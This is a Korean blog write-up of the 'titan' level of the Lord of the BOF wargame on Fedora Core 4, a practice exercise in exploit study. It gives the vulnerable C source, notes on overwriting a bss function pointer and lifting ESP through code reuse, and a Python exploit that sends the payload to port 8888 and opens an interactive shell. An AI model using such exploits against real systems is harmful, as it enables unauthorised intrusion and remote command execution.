문제 전문
/*
The Lord of the BOF : The Fellowship of the BOF
- titan
- Remote BOF on Fedora Core 4
- hint : ?
- port : TCP 8888
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
static char buffer[40];
static void (*ftn)();
void print()
{
printf("nothing here\n");
fflush(stdout);
}
int main()
{
char buf[48];
ftn = print;
printf("titan : What a tragic mistake.\n");
printf("you : ");
fflush(stdout);
// give me a food
fgets(buf,48,stdin);
// buffer overflow!!
strcpy(buffer,buf);
// preventing RTL
if(((int)ftn & 0xff000000) == 0)
{
printf("I've an allergy to NULL");
exit(1);
}
// clearing buffer
memset(buffer, 0, 40);
ftn();
}
복사본에 대한 메모리 영역 권한 확인
bss영역에 있는 전역변수들을 이용하는 것으로 보이고, buffer - 40이 ftn의 주소이다.
확인결과 당연히(?) PPR 가젯은 없음
GOT overwrite는 좀 힘들 것 같고, FEBP를 사용하는 건 어떨까? -> EBP를 건드릴 수 없음
Code reuse라는 방식으로 푼다고 하더라.
우선 원하는 곳으로 점프뛸 수 있는 ftn을 줬으므로, 계속 점프 점프 하면서
ESP를 buf의영역까지 끌어오고, 이후에 buf에다가 직접 페이로드를 담는다고 한다.
저기는 fgets 함수 호출 직전 break 건 상황인데, buf의 주소(ebp-52)와 esp의 차이가 36만큼 난다.
위에 esp 스택 변동은 add 16 sub 4이므로 12씩 증가시킬 수 있다.
근데 return 주소는 esp - 4이니까 buffer안에 들어오려면 12씩 4번 증가시켜야 한다.
(esp == buf+12일 때, return 주소 : buf + 8)
4번 증가 후 여러 방식으로 exploit 시킬 수 있고, 입력할 때 \n으로 나눠서 입력주면
한 번 stdin볼 때마다 나눠진대로 입력 가져감 ㅇㅇ..
#!/usr/bin/python
from struct import pack
from socket import *
p = lambda x : pack('<L', x)
add_esp = 0x804854a
execl = 0x832d68
binsh = 0x8bd987
system = 0x7db0e7
#ESP Adding for four times
payload = "A"*40
payload += p(add_esp)
payload += "\n"
payload += payload*3
payload += "A"*8
payload += p(system)
payload += "A"*4
payload += p(binsh)
s = socket(AF_INET, SOCK_STREAM)
s.connect(("localhost", 8888))
s.send(payload + "\n")
s.recv(1024)
while True:
cmd = raw_input('# ')
s.send(cmd + '\n')
print s.recv(4096)
s.close()
항상 새로운 문제, 새로운 해법이 필요하고, 언제쯤 답을 안 보고 풀 수 있을까
'FC' 카테고리의 다른 글
FC10 balog (0) | 2019.04.09 |
---|---|
FC10 titan (0) | 2019.04.08 |
FC4 cruel (0) | 2019.04.02 |